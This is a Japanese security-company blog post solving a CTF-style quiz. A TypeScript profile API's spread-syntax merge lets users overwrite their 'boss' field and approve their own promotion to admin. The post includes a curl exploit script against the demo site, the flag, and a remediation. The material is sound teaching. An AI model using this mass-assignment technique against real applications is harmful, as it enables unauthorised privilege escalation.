Flatt Security Blog

株式会社Flatt Securityの公式ブログです。プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

株式会社Flatt Securityの公式ブログです。
プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

Flatt Security Developers' Quiz #5 解説

はじめに

下記のTweetで出題させていただいた、Flatt Security Developers' Quiz #5にご参加いただきありがとうございました!

景品の獲得条件を満たした方には既にメールでご連絡済みです。

今回のクイズでFlatt Securityに興味を持ってくださった方は是非下記のバナーよりサービス詳細をご覧ください。

Flatt Securityのセキュリティ診断

今回のクイズの概要

概要

クイズのデモ環境

デモ環境にアクセスすると、画像のようなマイページが表示されます。 ここで、ユーザは自身の名前とロールを更新することができます。

ページ下部には管理者ページと書いてあるいかにも怪しいリンクがあります。 試しにクリックしてみると、以下のような管理者ページが表示されます。

管理者ページを見るには管理者権限が必要

ページに書いてあるとおり、管理者ではないためページが閲覧できないようです。 このクイズのゴールは、この管理者ページ(/admin)を閲覧してフラグを入手することです。

ソースコード

以下に、ソースコードの重要な部分のみを抜粋します。ソースコード全体に関しては、GitHubをご覧ください。

type Role = 'admin' | 'engineer' | 'sales';
type UserId = string;
type SessionId = string;
interface User {
  name: string
  role: Role
  id: UserId
  boss: UserId | null
};
interface UserInput {
  name: string
  role: 'engineer' | 'sales'
};

const users = new Map<UserId, User>([[admin.id, admin]]); // List of users associated with their ID
const sessions = new Map<SessionId, UserId>(); // List of sessions associated with session ID
const pendingApprovals = new Map<UserId, User>(); // List of users waiting for approval to change their profile

// Serve admin page.
app.get('/admin', async (request, reply) => {
  const user = getOrInitUser(request.session.sessionId);
  const html = await fs.promises.readFile(user.role === 'admin' ? 'flag.html' : 'forbidden.html', 'utf-8');
  const status = user.role === 'admin' ? 200 : 403;
  reply.type('text/html').status(status).send(html);
});

// Get profile of the current user.
app.get('/api/profile', async (request, reply) => {
  const user = getOrInitUser(request.session.sessionId);
  reply.type('application/json').send(user);
});

// Change user profile.
// NOTE: Changing role requires approval from their boss.
app.post('/api/profile', async (request, reply) => {
  const user = getOrInitUser(request.session.sessionId);
  const input = request.body as UserInput;
  let waitingApproval = false;
  if (input.role && input.role !== user.role) { // need approval
    waitingApproval = true;
    pendingApprovals.set(user.id, {
      ...user,
      ...input,
      id: user.id,
    });
  }
  users.set(user.id, {
    ...user,
    ...input,
    id: user.id,
    role: user.role,
  });
  reply.status(200).type('application/json').send({
    waitingApproval,
  });
});

// Approve a request to change user profile
// NOTE: Only the boss of the requester can approve the change.
app.post('/api/approve/:userId', async (request, reply) => {
  const me = getOrInitUser(request.session.sessionId);
  const userId = (request.params as any).userId as string;
  const pendingApproval = pendingApprovals.get(userId);
  if (pendingApproval && pendingApproval.boss === me.id) {
    pendingApprovals.delete(userId);
    users.set(pendingApproval.id, pendingApproval);
    reply.status(200).send();
  } else {
    reply.status(204).send();
  }
});

これまでのFlatt Security Developers' Quizと比べると少しだけソースコードが長く、より本格的な内容になっています。 ユーザ(users)はセッションID(sessions)と結びつけられてサーバ側に記録されています。各ユーザ(interface User)は、名前(name)、ロール(role)、ID(id)、そして上司(boss)をメンバとして持っています。

目的の/adminページでは、ユーザのroleに基づいてページを表示します。先程の画像にあったページはforbidden.htmlであり、目的のフラグはflag.htmlにあるようです。つまり、roleadminに変更する必要があります

解法

/api/profileへのPOSTリクエストによってユーザのプロパティを変更することができます。 しかしながらソースコード内のコメントにもあるように、roleを変更しようとしてもすぐには変更は適用されず、上司(boss)からの承認を待つためにリクエストがpendingApprovalsに追加されます:

  if (input.role && input.role !== user.role) { // need approval
    waitingApproval = true;
    pendingApprovals.set(user.id, {
      ...user,
      ...input,
      id: user.id,
    });
  }

上司から承認されるまでRoleの変更はできない

このリクエストは、上司(boss)が/api/approve/:userIdへのPOSTリクエストを送ることで承認されます:

  const me = getOrInitUser(request.session.sessionId);
  const userId = (request.params as any).userId as string;
  const pendingApproval = pendingApprovals.get(userId);
  if (pendingApproval && pendingApproval.boss === me.id) {
    pendingApprovals.delete(userId);
    users.set(pendingApproval.id, pendingApproval);
    reply.status(200).send();
  } else {
    reply.status(204).send();
  }

この承認プロセスにおいては、承認しようとしているユーザ(me)が、承認されるユーザの上司(boss)であるかどうかを確認しています。よって、上司以外のユーザが承認を行うことができないように設計されています。

脆弱性: ユーザ入力の検証不足と値の上書き

ここで、もう一度/api/profileへのプロフィール変更要求部分を見てみます:

  const input = request.body as UserInput;
  if (input.role && input.role !== user.role) { // need approval
    waitingApproval = true;
    pendingApprovals.set(user.id, {
      ...user,
      ...input,
      id: user.id,
    });
  }
  users.set(user.id, {
    ...user,
    ...input,
    id: user.id,
    role: user.role,
  });

roleが変更されたかどうかに関わらず、roleid以外のプロパティをuser.set()によって更新していることがわかります。その中で、{ ...user, ...input }という記法を使っています。これはSpread Syntaxと呼ばれるもので、オブジェクトのプロパティを展開することができる記法です(厳密な説明については、リンクを参照ください)。

ここで、userinputに同一のプロパティが存在していた場合、より後者にあるinput内のプロパティによって値が上書きされてしまいます。すなわち、以下のような状況の場合にはinput内の値によってuserを展開した値を上書きすることができます:

const user = {
  name: 'test',
  example: 'original',
};
const input = {
  name: 'overwritten',
  example: 'overwritten',
};
const result = {
  ...user,
  ...input,
};
console.log(result); // { name: 'overwritten', example: 'overwritten' }

なお、ここではinputは以下のようにしてリクエストボディから取得されています:

interface UserInput {
  name: string
  role: 'engineer' | 'sales'
};

  const input = request.body as UserInput;

ここでUserInputUser型の部分的なプロパティを持つ型として定義されています。恐らく開発者の意図としては、このasによってinput内にはnameroleの2つしか存在しないことを保証したかったのでしょう。 しかしながら、この部分はTypeScriptからJavaScriptに以下のようにトランスパイルされます。

input = request.body;
users.set(user.id, __assign(__assign(__assign({}, user), input), { id: user.id, role: user.role }));

このことからも分かるように、inputのプロパティに対しては何の保証もされていません。よって、攻撃者はinput (==request.body)として任意の値を入れることができます。

bossの変更

users.set()では、idroleが最後に記述されており、inputにこれらを入れても上書きできません。 しかしながら、bossプロパティはinputに入れることで上書きすることができます。これと/api/approveを利用することで、bossを自分へと上書きしたあとで自ら変更承認を行うことができます

exploit

攻撃の手順をまとめます:

  1. 適当なページを訪れ、ユーザを作成する。
  2. /api/profileへのPOSTリクエストにて、bossを自身にする。また、roleadminに変更する。
  3. /api/approve/<自身のID>へのPOSTリクエストにおいて、roleadminにするリクエストを承認する。
function requestAdmin() {
  curl http://$DOMAIN/api/profile -k -v \
    -H "Cookie: sessionId=$SESSION" \
    -H "Content-Type: application/json" \
    -d "{\"name\":\"toyojuni\", \"role\": \"admin\", \"boss\": \"$USERID\" }"
}

function approveChange() {
    curl http://$DOMAIN/api/approve/$USERID -k -v \
        -X POST \
        -H "Cookie: sessionId=$SESSION"
}

function getFlag() {
    curl http://$DOMAIN/admin -k -v \
        -H "Cookie: sessionId=$SESSION"
}

function main() {
    requestAdmin
    approveChange
    getFlag
}

main

Flag

Flatt{61v3_y0u_7h15_nu77y_4u7h_1m91_4nd_nu77y_ch0c01473!}

問題の難易度

今回は「ふつう」難易度として出題しました。ソースコード自体はこれまでと比べて少し長いものの、やっている事自体は難しくなく、セキュリティを専門としないエンジニアの方も解けるような問題になっていると思います。

また、認可制御をテーマとしており、より実際のプロダクトに近いような問題設計になっていたのではないかと思います。 24時間の回答期間において、正答者はちょうど80人でした。

Quizのような脆弱性をつくらないために

今回の問題における問題点は、以下の2点です:

  • as UserInputによってユーザの入力を制限できていると思い込んでいること
  • Spread Syntaxによって、既存のデータを上書きできること

ユーザ入力のバリデーションを行うにはいくつかの方法が考えられます。最もシンプルなものとしてはSpread Syntaxを使わず、必要な情報のみを取り出すことです。

users.set(user.id, {
  ...user,
  name: input.name,
});

今回の場合には、上司の承認無しでの変更を想定しているのがnameだけであるため、Spread Syntaxを使わずにinput.nameを指定して上書きすることが最も適切であると考えられます。

終わりに

Quizにご参加いただいた皆様、ありがとうございました。不定期ではありますがよりみなさまに楽しみながらセキュリティを学んでいただけるよう今後も発信を続けてまいります。

冒頭でも紹介したように、我々株式会社Flatt Securityはセキュリティ診断サービスを提供しています。

Webアプリケーションやスマートフォンアプリケーションを対象に、セキュリティエンジニアによる手動診断によって高い精度で脆弱性を洗い出すことが可能です。 ツールによる診断しか過去実施しておらず認証や決済といった重要な機能のセキュリティに不安があったり、既存のベンダーとは違う会社に依頼したいと考えていたりする方はお気軽にご相談ください。

数百万円からスタートの大掛かりなものばかりを想像されるかもしれませんが、上記のデータが示すように、診断は幅広いご予算帯に応じて実施が可能です。ご興味のある方向けに下記バナーより料金に関する資料もダウンロード可能です。

また、Flatt Securityはセキュリティに関する様々な発信を行っています。 最新情報を見逃さないよう、公式Twitterのフォローをぜひお願いします!

twitter.com

ここまでお読みいただきありがとうございました。